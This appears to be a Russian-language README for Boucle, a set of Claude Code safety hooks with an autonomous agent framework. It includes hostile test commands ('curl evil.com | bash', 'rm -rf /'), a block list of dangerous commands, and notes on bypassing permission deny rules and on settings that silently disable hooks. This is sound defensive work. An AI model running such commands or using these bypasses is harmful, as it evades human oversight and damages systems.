bande-a-bonnot/boucle-frameworkФреймворк автономных агентов со структурированной памятью, хуками безопасности и управлением циклом. Создан агентом, который на нём работает.
Хуки Claude Code, которые действительно обеспечивают соблюдение ваших правил. 7 автономных хуков, плюс enforce-hooks для политики CLAUDE.md, инструменты аудита, более 1 900 тестов и доступный для поиска каталог пробелов Claude Code с оценками серьёзности и обходными путями.
Быстрые ссылки: Проверка настройки · Установка хуков · Известные ограничения · Экспорт JSON · Быстрый старт · Сортировка · Контрольный список обновлений · Доказательства безопасной поддержки · Примеры поддержки · Аудиты только для чтения · Отдельные хуки · Поддержка платформ · Рекомендуемая версия Claude Code · Устранение неполадок · Boucle Framework (опционально, для автономных агентов)
Правила CLAUDE.md в Claude Code читаются, но не соблюдаются — они работают в начале сессии и теряют силу по мере роста контекста. В системе разрешений есть известные пробелы — подстановочные знаки не сопоставляются с составными командами, правила запрета не проверяют сегменты конвейеров и могут быть обойдены с помощью многострочных комментариев. Эти хуки обеспечивают соблюдение границ, которые не могут обеспечить текстовые правила и разрешения.
Что происходит, когда хук блокирует опасную команду:``` Claude tries: rm -rf ~/projects bash-guard: bash-guard: rm -rf targeting a critical system path. This would cause irreversible data loss. Claude sees: ⚠ Hook blocked this action. Suggesting safer alternative...
Никаких запросов, никаких диалогов «вы уверены?». Команда никогда не выполняется.
<a id="check-your-setup"></a>
**Проверьте текущую настройку:**```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash
Запускайте это из корня того же проекта, где вы запускаете Claude Code. Хуки проекта
разрешаются относительно текущего каталога, поэтому запуск из подкаталога может не обнаружить
.claude/settings.json в корне репозитория. Если вы уже находитесь где-то внутри
git-чекаута:```sh
cd "$(git rev-parse --show-toplevel)"
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash
Оценивает вашу конфигурацию безопасности Claude Code от A до F и показывает однострочные исправления для каждого пробела. Добавьте `--verify`, чтобы отправлять тестовые полезные нагрузки в каждый хук и убедиться, что они действительно блокируются:```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify
Для CI или скриптованной проверки рабочей станции следует завершаться ошибкой, когда проверка находит
хук FAIL-OPEN, повреждённые файлы хуков, пропущенные проверки PreToolUse, отсутствие хуков или
отсутствие проверок полезной нагрузки:```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --strict
Используйте [руководство по скриптовым проверкам](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/safety-check/CI.md) для GitHub Actions,
проверок на рабочей станции разработчика, кодов выхода и пределов того, что CI может гарантировать.
Проверяет установку хуков, работоспособность хуков (отсутствующие/неисполняемые скрипты), живую проверку (отправляет `rm -rf /` в bash-guard, `git push --force` в git-safe и т.д. и подтверждает, что они блокируются), правила enforce-hooks и `@enforced` из CLAUDE.md, проблемы окружения (IS_DEMO, настройки JSONC, зависимости jq/python3, надёжность хуков в Windows) и известные регрессии версий CLI. Сканирует настройки как на уровне пользователя (`~/.claude/settings.json`), так и на уровне проекта (`.claude/settings.json`), со списком хуков, который показывает пользовательские/сторонние хуки наряду с хуками фреймворка. В сводке учитывается 8 слотов хуков фреймворка, поскольку она включает политический хук `enforce-hooks`; `install.sh all` устанавливает 7 отдельных хуков, перечисленных ниже. Также предупреждает, когда правила deny настроены без bash-guard, поскольку deny-шаблоны [можно обойти](https://github.com/anthropics/claude-code/issues/38119) с помощью составных команд и многострочных скриптов. Для аудита не требуется установка хуков. Покрыто сотнями тестов.
Чтобы за 10 минут пройти путь от аудита до проверенных хуков, см. [краткое руководство по safety-check](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/safety-check/QUICKSTART.md).
Если вам нужна помощь, используйте [руководство по безопасному предоставлению доказательств в поддержку](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/safety-check/SUPPORT_EVIDENCE.md),
чтобы поделиться сводным блоком, не раскрывая личные настройки или секреты. Чтобы
вывести только этот ограниченный публичный блок, выполните:```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --summary-only
Напримеры безопасных публичных отчётов и небезопасных фрагментов, которых следует избегать, смотрите в безопасных примерах поддержки.
По вопросам перехвата хуков и пробелов в разрешениях upstream Claude Code используйте страницу ограничений с поиском, машиночитаемый JSON-экспорт, или Atom-ленту.
Требования для macOS / Linux: bash, python3 и jq. Установщик использует
python3 для управления settings.json Claude Code, safety-check использует python3 для
своего аудита, а большинство автономных хуков оболочки используют jq для разбора
полезных нагрузок хуков Claude Code.
Начните с основного (bash-guard + git-safe + file-guard):```sh curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- recommended
These three hooks form the safety net every Claude Code user should have: block dangerous commands, prevent destructive git operations, and protect sensitive files. After installing, run the safety check above with `--verify` to confirm each hook blocks what it should.
**If the install succeeds but hooks do not block anything:**
- Run `install.sh check --verify --strict` first on macOS/Linux (`install.ps1 verify` on native Windows). A clean install is not proof the hooks are firing.
- Run `install.sh doctor` next (`install.ps1 doctor` on Windows). It catches missing files, bad permissions, JSONC in `settings.json`, and other silent fail-open states.
- On Windows, use PowerShell 7 (`pwsh`), not Windows PowerShell 5.
- If you write custom deny hooks, prefer `stderr` + `exit 2` for hard blocks. JSON `permissionDecision: "deny"` is still inconsistent across Claude Code surfaces.
**Install all hooks at once:**```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- all
Windows (PowerShell 7+) — нативные хуки PS1, не требуется bash или jq. Требуется PowerShell 7 (pwsh), а не встроенный Windows PowerShell 5. Начните с того же рекомендованного набора безопасных параметров:```powershell
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } recommended"
Или установите все автономные хуки сразу:```powershell
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all"
Управление хуками:```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- list
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- verify
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- upgrade
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall read-once
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall all
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- backup
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- restore
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --summary-only
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --strict
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- doctor
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- help
**Эквиваленты Windows** (синтаксис PowerShell):```powershell
# List, verify, upgrade, check, uninstall, doctor, backup/restore, help
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } list"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } upgrade"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --summary-only"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --strict"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } doctor"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } uninstall read-once"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } backup"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } restore"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } help"
install.ps1 verify и install.ps1 doctor используют нативные хуки PowerShell. Команда install.ps1 check запускает проверку безопасности на основе bash, поэтому ей требуются Git Bash, WSL или другой bash в PATH.
Или выберите отдельные хуки:
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/read-once/install.sh | bash
Экономит ~2000 токенов на каждом предотвращённом повторном чтении. Включает [режим diff](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/read-once/#diff-mode-opt-in) для рабочих процессов «редактирование-проверка-редактирование» (экономия 80-95% токенов на изменённых файлах).
### [file-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/file-guard/) — Защита файлов от доступа или изменения ИИ```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/file-guard/install.sh | bash
Определите защищённые файлы в .file-guard (по одному шаблону в строке). Два режима: write-protect (по умолчанию) блокирует запись, редактирование и разрушительные bash-команды. [deny] блокирует любой доступ, включая Read, Grep и Glob, что полезно для больших каталогов codegen, где Claude должен использовать MCP-сервер вместо непосредственного чтения файлов. Обрабатывает символические ссылки, чтобы предотвратить обход через символические ссылки. Поддерживает абсолютные пути (совместимость с v2.1.89+). ~140 тестов (bash + PowerShell).
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/git-safe/install.sh | bash
Blocks `git push --force`, `git reset --hard`, `git checkout .`, `git checkout HEAD -- path`, `git restore`, `git clean -f`, `git branch -D`, `--no-verify`, and other destructive git commands. Prevents the [exact pattern](https://github.com/anthropics/claude-code/issues/37888) that destroyed 30+ files despite 100+ CLAUDE.md rules. Suggests safer alternatives. Allowlist via `.git-safe` config. ~145 tests (88 bash + 57 PowerShell).
### [bash-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/bash-guard/) — Блокировка опасных bash-команд```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/bash-guard/install.sh | bash
Blocks dangerous commands across these categories:
rm -rf /, shred, truncate -s 0, массовое удаление (find -delete, xargs rm, git clean -f)sudo, pkexec, doas, передача в shell (curl|bash)diskutil eraseDisk/eraseVolume/partitionDisk, fdisk, gdisk, , (: уничтожено 87GB личных данных)Оценивает каждый сегмент составных команд. Перехватывает обход через многострочные комментарии, когда строки комментариев перед опасной командой обходят правила запрета. Обнаруживает попытки обхода через кодирование (обфускация base64/hex/octal), перенаправление here-string/here-doc, внедрение eval-строк, попытки обойти защиту обходными путями, внедрение библиотек (LD_PRELOAD), обход через обёрточные команды, операции с файлами учётных данных, доступ к связке ключей macOS, персистентность через запланированные задачи и управление службами. Разрешающий список задаётся через конфигурацию .bash-guard. 612 проверенных bash-тестов, с дополнительным покрытием PowerShell при наличии pwsh.
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/branch-guard/install.sh | bash
Предотвращает прямые коммиты в защищённые ветки (main, master, production, release). Принуждает к рабочему процессу с фиче-ветками. Настройте защищённые ветки через конфиг `.branch-guard` или переменную окружения `BRANCH_GUARD_PROTECTED`. Разрешает `--amend` в любой ветке. ~55 тестов (bash + PowerShell).
### [worktree-guard](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/worktree-guard/) — Предотвращение потери данных при выходе из worktree```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/worktree-guard/install.sh | bash
Когда вы используете claude -w, выход из сеанса незаметно удаляет ветку worktree и все её коммиты. Этот хук блокирует выход при наличии незакоммиченных изменений, неотслеживаемых файлов, неслитых или неотправленных коммитов. Использует сопоставитель ExitWorktree, поэтому запускается только при фактическом выходе из worktree. Настраивается через .worktree-guard. ~65 тестов (bash + PowerShell).
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/session-log/install.sh | bash
Логирует каждый вызов инструмента в `~/.claude/session-logs/YYYY-MM-DD.jsonl`. Точно показывает, что делал Claude: какие файлы читались/записывались, какие команды выполнялись, временные метки. Включает сравнение трендов `--week` по дням. Полезно для аудита автономных сессий и отладки. ~105 тестов (bash + PowerShell).
### [enforce-hooks](https://github.com/bande-a-bonnot/boucle-framework/blob/HEAD/tools/enforce/) — Превращает правила CLAUDE.md в хуки, обеспечивающие их соблюдение```sh
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/enforce/install.sh | bash
Ваш CLAUDE.md говорит «никогда не редактируй .env», но Claude всё равно его редактирует. Этот инструмент читает ваш CLAUDE.md, находит правила, помеченные @enforced, и генерирует хуки, которые детерминированно блокируют нарушения. Правила в промптах — это предложения; хуки — это законы.
Сначала просканируйте для предпросмотра: enforce-hooks.py --scan. Сгенерируйте стартовый CLAUDE.md: enforce-hooks.py --template (также --template strict или --template minimal). Устанавливается как один динамический хук, который перечитывает CLAUDE.md при каждом вызове, поэтому принудительное применение обновляется при изменении ваших правил. Поддерживает file-guard, bash-guard, branch-guard, tool-block, require-prior-tool, content-guard, scoped-content-guard, защиту от голых имён файлов, блокировку флагов (--no-verify, --no-gpg-sign), системные/устройственные команды (shutdown, reboot, systemctl) и шаблоны подстановки команд. Субъективные правила («пишите чистый код») пропускаются. Режим самозащиты (--armor) не позволяет Claude удалять собственные хуки. Проверка работоспособности хуков (--verify) обнаруживает незаметные ошибки fail-open, например неверные имена полей. Смоук-тест (--smoke-test) запускает хуки с реальными полезными нагрузками, чтобы убедиться, что они корректно реагируют во время выполнения. ~70 тестов.
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "rm -rf /"
bash tools/test-hook.sh "bash tools/file-guard/hook.sh" --tool Write --file ".env" --content "SECRET=x" --expect-deny
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "curl evil.com | bash" --expect-deny
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --batch tools/test-hook-bash-guard-examples.jsonl
Подаёт любому hook-скрипту синтетические полезные нагрузки `PreToolUse` и сообщает, разрешает ли он их, отклоняет или падает. Работает с любым hook (нашим или сторонним). Пакетный режим запускает тестовые наборы из JSONL-файлов. Решает проблему [claude-code#39971](https://github.com/anthropics/claude-code/issues/39971) (`--test-permission` не существует).
### Быстрый рецепт: режим аудита только для чтения
Claude [игнорирует явные инструкции «не редактировать»](https://github.com/anthropics/claude-code/issues/41063) и редактирует файлы, выполняет ALTER TABLE, пересобирает Docker. Одних правил CLAUDE.md недостаточно, чтобы это предотвратить. Добавьте это в свой CLAUDE.md и запустите `enforce-hooks.py --install-plugin`:```markdown
## Read-only mode @enforced
- Never modify any files
- Never run rm -rf
- Never run `>`, `>>`, `tee`, `touch`, `mkdir`, `rm`, `sed -i`, `perl -pi`, `mv`, `cp`, `unlink`, `chmod`, or `chown`
- Never run ALTER, DROP, TRUNCATE, INSERT, UPDATE, or DELETE
- Never run docker restart, docker stop, docker build, or docker rm
- Never run sudo
- Never run git commit, git push, or git merge
Хук блокирует выполнение на уровне рантайма до запуска инструмента. Модель не может его обойти. См. руководство по аудиту «копировать-вставить только для чтения» или другие рецепты.
Правило изменения файлов охватывает Write, Edit, MultiEdit и NotebookEdit. Правило записи через shell блокирует типичные пути записи в Bash, такие как перенаправления, tee, touch, mkdir, rm, правки на месте, перемещения, копирования и изменения прав/владельца.
Указанные выше хуки работают автономно. Всё ниже необязательно и предназначено для команд, запускающих автономных ИИ-агентов в продакшене.
Фреймворк с собственным видением для запуска автономных ИИ-агентов в цикле. Проснись. Думай. Действуй. Учись. Повторяй.
Создан агентом, который на нём же и работает. Boucle разрабатывается и поддерживается автономным агентом, использующим этот фреймворк для собственной работы.
doctor проверяет ваше окружение, validate ловит ошибки конфигурации, stats показывает историю цикловЗагрузите последний релиз со страницы релизов GitHub.```bash
tar xzf boucle-*-aarch64-apple-darwin.tar.gz mv boucle /usr/local/bin/
#### Вариант 2: Сборка из исходников```bash
git clone https://github.com/Bande-a-Bonnot/Boucle-framework.git
cd Boucle-framework
cargo build --release
export PATH="$PWD/target/release:$PATH"
mkdir my-agent cd my-agent
boucle init --name my-agent
boucle doctor
boucle run --dry-run
boucle run
boucle schedule --interval 1h
`boucle init` по умолчанию записывает `agent.model = "gpt-5.4"`, что использует Codex CLI. Чтобы вместо этого использовать Claude, установите `agent.model` в имя модели Claude, например `claude-sonnet-4-20250514`.
### Система памяти (Broca)
Broca — это файловая, git-нативная система знаний для агентов ИИ. Память представлена Markdown-файлами с YAML-frontmatter.```bash
# Store a memory
boucle memory remember "Python packaging" "Modern projects use pyproject.toml" --tags "python,packaging"
# Store a time-sensitive fact
boucle memory remember "API status" "Payment API is degraded" --tags "incident" --valid-until 2026-05-23
# Search memories
boucle memory recall "python packaging" --limit 5
# Search by tag
boucle memory search-tag "security"
# Add a journal entry
boucle memory journal "Discovered API rate limits are 100/min"
# View statistics
boucle memory stats
setuptools with setup.py is legacy. Modern Python projects use pyproject.toml with build backends like hatchling, flit, or setuptools itself.
Broca также поддерживает:
- **BM25-поиск** — ранжирование по релевантности с нормализацией по длине документа и редкости термина
- **Временное затухание** — более свежие воспоминания получают более высокий балл; частота обращений отслеживается автоматически
- **Временная валидность** — чувствительные ко времени факты могут содержать `ttl` или `valid_until`, и при извлечении выдаётся предупреждение об устаревании
- **Сборка мусора** — архивирование устаревших, низкодоверенных или несвежих записей (обратимо, по умолчанию в режиме сухого прогона)
- **Усиление перекрёстных ссылок** — связанные записи всплывают вместе в результатах поиска
- **Консолидация** — обнаружение и объединение почти дублирующихся воспоминаний с использованием сходства Жаккара
- **Отслеживание уверенности** — `boucle memory update-confidence <id> <score>`
- **Замещение** — `boucle memory supersede <old-id> <new-id>` когда знание эволюционирует
- **Связи** — `boucle memory relate <id1> <id2> <relation>` для связывания записей
- **Переиндексация** — `boucle memory index` для перестроения поискового индекса
### Движок самонаблюдения
Агенты с памятью помнят, что произошло. Агенты с самонаблюдением замечают, что происходит постоянно, и вырабатывают на это реакции.```bash
# Log a signal when something goes wrong
boucle signal friction "auth keeps failing on retry" auth-flaky
# Run the pipeline (harvest → classify → score → promote)
boucle improve run
# See what patterns have emerged
boucle improve status
Движок отслеживает четыре типа сигналов: трение (что-то было сложнее, чем должно было быть), сбой (что-то сломалось), растрата (усилия, не принёсшие результата), неожиданность (непредвиденное поведение).
Сигналы с одинаковым отпечатком накапливаются в паттерны. Когда паттерн повторяется достаточно часто, движок выводит его как действие, ожидающее обработки. Вы разворачиваете ответное действие (скрипт, изменение конфигурации, новый хук), и движок отслеживает, действительно ли это ответное действие снижает частоту сигналов.
Подключаемые сборщики: Скрипты в improve/harvesters/ запускаются автоматически и обнаруживают сигналы в логах, метриках или любом другом источнике. Каждый получает корневую директорию агента в качестве $1 и выводит сигналы в формате JSONL в stdout.```bash
boucle improve init
### MCP-сервер
Boucle предоставляет Broca в качестве сервера Model Context Protocol, чтобы другие ИИ-агенты могли обмениваться памятью.```bash
# Start MCP server (stdio transport)
boucle mcp --stdio
# Or HTTP transport
boucle mcp --port 8080
Доступные инструменты: broca_remember, broca_recall, broca_journal, broca_relate, broca_supersede, broca_stats, broca_search_tags, broca_list, broca_show, broca_gc, broca_restore, broca_archived, broca_consolidate
broca_remember поддерживает метаданные свежести (ttl_days или valid_until) для чувствительных ко времени фактов. При извлечении устаревшие записи остаются видимыми, но помечаются и понижаются в рейтинге, чтобы старые метрики или решения не использовались как актуальная истина.
Работает с Claude Desktop, Claude Code или любым MCP-совместимым клиентом.
Каждый инструмент имеет собственный README с полной документацией: read-once, file-guard, git-safe, bash-guard, branch-guard, session-log, enforce-hooks, safety-check, worktree-guard, diagnose, test-hook.
your-agent/ ├── boucle.toml # Agent configuration ├── system-prompt.md # Agent identity and rules (optional) ├── allowed-tools.txt # Tool restrictions (optional) ├── memory/ # Persistent knowledge (Broca) │ ├── state.md # Current state — read at loop start, updated at loop end │ ├── knowledge/ # Learned facts, indexed by topic │ └── journal/ # Timestamped iteration summaries ├── goals/ # Active objectives ├── logs/ # Full iteration logs ├── gates/ # Pending approval requests ├── context.d/ # Scripts that add context sections (optional) └── hooks/ # Lifecycle hooks (optional) ├── pre-run # Before each iteration ├── post-context # After context assembly (stdin: context, stdout: modified) ├── post-llm # After LLM completes ($1: exit code) └── post-commit # After git commit ($1: timestamp)
### Как это работает
Каждая итерация цикла:
1. **Wake** — Получена блокировка с проверкой владельца, контекст собран из памяти + целей + ожидающих действий
2. **Think** — Агент читает своё полное состояние и решает, что делать в рамках настроенного тайм-аута LLM
3. **Act** — Агент выполняет: пишет код, проводит исследования, создаёт планы, запрашивает одобрения
4. **Learn** — Агент обновляет свою память тем, что узнал
5. **Sleep** — Изменения зафиксированы в git, блокировка снята, агент ожидает следующей итерации
### Конфигурация```toml
# boucle.toml
[agent]
name = "my-agent"
description = "A helpful autonomous agent"
model = "gpt-5.4" # gpt-* models use Codex CLI
system_prompt = "system-prompt.md"
[memory]
dir = "memory"
state_file = "STATE.md"
[loop]
context_dir = "context.d"
hooks_dir = "hooks"
log_dir = "logs"
[schedule]
interval = "1h"
Имена моделей, начинающиеся с gpt-, запускаются через codex exec. Имена моделей Claude
запускаются через claude -p. Границы одобрения определяются промптом и политикой процесса, поэтому
поместите их в system-prompt.md и проверьте их собственными хуками или процессом
рецензирования.
context.d/)Исполняемые скрипты, которые внедряют контекст в каждую итерацию. Каждый получает каталог агента как $1 и выводит Markdown в stdout.```bash
#!/bin/bash
echo "## Weather" curl -s wttr.in/?format=3
#### Lifecycle Hooks (`hooks/`)
| Hook | Когда | Аргументы | Применение |
|------|------|-----------|----------|
| `pre-run` | Перед итерацией | `$1`: timestamp | Настройка, проверки состояния |
| `post-context` | После сборки контекста | stdin: context | Изменение/фильтрация контекста |
| `post-llm` | После завершения LLM | `$1`: exit code | Уведомления, очистка |
| `post-commit` | После git commit | `$1`: timestamp | Отправка в remote, деплой |
#### Ограничения инструментов (`allowed-tools.txt`)```
Read
Write
Edit
Glob
Grep
WebSearch
Bash(git:*)
Bash(python3:*)
Если этот файл не существует, все инструменты доступны.
boucle init [--name ] # Initialize new agent (default: my-agent) boucle run # Run one iteration boucle run --dry-run # Preview context without calling LLM boucle doctor # Check prerequisites and agent health boucle validate # Validate config (catches typos, bad values, path issues) boucle stats # Show aggregate loop statistics boucle status # Show agent status boucle log [--count ] # Show loop history (default: 10 entries) boucle schedule --interval # Set up scheduled execution (e.g., 1h, 30m, 5m) boucle plugins # List available plugins
boucle signal
boucle memory remember <content> [--tags <tags>] [--entry-type <type>] [--ttl <days>] [--valid-until <date>] boucle memory recall <query> [--limit <n>] boucle memory show <id> boucle memory search-tag <tag> boucle memory journal <content> boucle memory update-confidence <id> <score> boucle memory supersede <old-id> <new-id> boucle memory relate <id1> <id2> <relation> boucle memory stats boucle memory index boucle memory gc [--apply] # Archive stale/superseded entries boucle memory consolidate [--apply] # Merge near-duplicate entries
boucle mcp --stdio # stdio transport boucle mcp --port # HTTP transport
boucle --root # Use specific agent directory boucle --help # Show help boucle --version # Show version
### Принципы проектирования
1. **Файлы вместо баз данных.** Память — это Markdown. Конфигурация — TOML. Журналы — обычный текст. Всё человекочитаемо и отслеживаемо через git diff.
2. **Границы — это фича.** Шлюзы одобрения делают автономных агентов заслуживающими доверия. Агент, который может тратить ваши деньги без спроса, — не автономный, а опасный.
3. **Накопительные знания.** Каждая итерация должна делать агента умнее. Память — это не кэш, а инвестиция.
4. **Прозрачность по умолчанию.** Если вы не видите, что агент сделал и почему, что-то не так.
<a id="platform-support"></a>
## Поддержка платформ
| | macOS | Linux | Windows (WSL) | Windows (native PS7) |
|---|:---:|:---:|:---:|:---:|
| bash-guard | Да | Да | Да | Да (.ps1) |
| git-safe | Да | Да | Да | Да (.ps1) |
| file-guard | Да | Да | Да | Да (.ps1) |
| read-once | Да | Да | Да | Да (.ps1) |
| branch-guard | Да | Да | Да | Да (.ps1) |
| worktree-guard | Да | Да | Да | Да (.ps1) |
| session-log | Да | Да | Да | Да (.ps1) |
| enforce-hooks | Да | Да | Да (bash) | WSL или Git Bash |
| safety-check | Да | Да | Да | Частично (требуется bash) |
| Installer | `install.sh` | `install.sh` | `install.sh` | `install.ps1` |
| Надёжность хуков | Полная | Полная | Полная | [~18%](https://github.com/anthropics/claude-code/issues/37988) |
**Лучший опыт:** macOS или Linux. **Windows:** используйте WSL для полной надёжности. Нативные хуки PowerShell работают, но Claude Code запускает их непоследовательно ([#37988](https://github.com/anthropics/claude-code/issues/37988)).
<a id="recommended-claude-code-version"></a>
## Рекомендуемая версия Claude Code
**Используйте последний релиз Claude Code.** Claude Code меняется быстро; проверяйте
[ленту релизов](https://github.com/anthropics/claude-code/releases) Anthropic
перед фиксацией версии, затем запустите `safety-check` с флагом `--verify`, чтобы подтвердить,
что хуки срабатывают корректно в вашем окружении. Версии ниже — исторические
контрольные точки, связанные с хуками, а не трекер актуальных релизов:
| Версия | Проблема |
|---|---|
| v2.1.91+ | Восстанавливает права на выполнение встроенного `rg`, исправляя регрессии обнаружения команд проекта из v2.1.88-89 ([#41497](https://github.com/anthropics/claude-code/issues/41497), [#41864](https://github.com/anthropics/claude-code/issues/41864)) |
| v2.1.90+ | Минимальная версия для улучшения блокировки через exit-2 + JSON, исправления форматирования при сохранении в PostToolUse и 4 исправлений обхода разрешений PowerShell |
| v2.1.89 | Добавляет `PermissionDenied`, `defer`, абсолютный `file_path` и сопоставление составных `if`-условий хуков, но всё ещё содержит регрессии обнаружения команд и отображения `SessionStart` |
| v2.1.88 | [Устарела/изъята из npm](https://github.com/anthropics/claude-code/issues/41497): сломаны пользовательские команды/навыки, утечка source map |
| v2.1.81-84 | [Сброс обхода разрешений в середине сеанса](https://github.com/anthropics/claude-code/issues/37745) при установленных хуках PreToolUse |
| < v2.1.50 | Нет поддержки формата `hookSpecificOutput` (устаревший `decision: "block"` всё ещё работает, но его следует перенести) |
Запустите `claude --version`, чтобы проверить вашу локальную установку.
## Устранение неполадок
**JSONC-комментарии в settings.json**: Если ваш `~/.claude/settings.json` содержит комментарии `//` или `/* */`, хуки могут молча перестать работать ([claude-code#37540](https://github.com/anthropics/claude-code/issues/37540)). Наши установщики обнаруживают JSONC и автоматически удаляют комментарии (создавая резервную копию `.bak`). Если хуки не срабатывают, проверьте наличие комментариев в файле настроек.
**Хуки не блокируют**: Claude Code запускает хуки только при вызовах инструментов, а не при сборке промпта. Такие функции, как @-автодополнение, внедряют содержимое файлов до того, как хуки смогут перехватить их. См. [claude-code#32928](https://github.com/anthropics/claude-code/issues/32928).
**Пропуск проектных хуков из подкаталогов**: Если ваш репозиторий хранит хуки
в `.claude/settings.json` в корне репозитория, запустите Claude Code и выполните
`safety-check` из того же корня. Запуск из подкаталога может привести к тому,
что Claude будет считать этот подкаталог корнем проекта и без предупреждения пропустит
хуки родительского проекта. `safety-check` сообщает об этом как о предупреждении
о настройках родительского проекта. В нативном Windows PowerShell выполните
`Set-Location (git rev-parse --show-toplevel)` внутри рабочей копии перед
запуском `install.ps1 verify`.
**Сброс обхода разрешений при установленных хуках**: Если вы используете `--dangerously-skip-permissions` (часто в автономных конфигурациях), хуки PreToolUse могут [привести к сбросу состояния разрешений в середине сеанса](https://github.com/anthropics/claude-code/issues/37745), возвращая все инструменты к ручному одобрению. Это баг платформы, а не хуков. Если через 30–120 минут после начала сеанса инструменты внезапно начинают требовать одобрения, причина именно в этом.
**Переменная окружения IS_DEMO отключает все хуки**: Если в вашем окружении задано `IS_DEMO=1` (иногда через настройки IDE или облачного рабочего пространства), Claude Code [молча пропускает выполнение всех хуков](https://github.com/anthropics/claude-code/issues/37780), подавляя доверие к рабочему пространству, не предоставляя его. Выполните `echo $IS_DEMO` для проверки. Наш инструмент `safety-check` обнаруживает это автоматически.
**CLAUDE_CODE_SIMPLE отключает все хуки**: Когда переменная окружения `CLAUDE_CODE_SIMPLE` установлена в любое непустое значение, Claude Code полностью отключает хуки, MCP-инструменты, вложения и загрузку файла CLAUDE.md (появилось в v2.1.50). Ни одно правило принудительного контроля не сработает. Выполните `echo $CLAUDE_CODE_SIMPLE` для проверки. Наш инструмент `safety-check` обнаруживает это автоматически.
**Флаг `--bare` пропускает все хуки**: Флаг CLI `--bare` отключает хуки, LSP, синхронизацию плагинов и обход каталогов навыков для скриптовых вызовов `-p`. Если ваш автономный конвейер использует `claude --bare -p`, ни один хук не сработает. Используйте средства уровня ОС (права на файлы, контейнеризацию) для принудительного контроля в режиме bare.
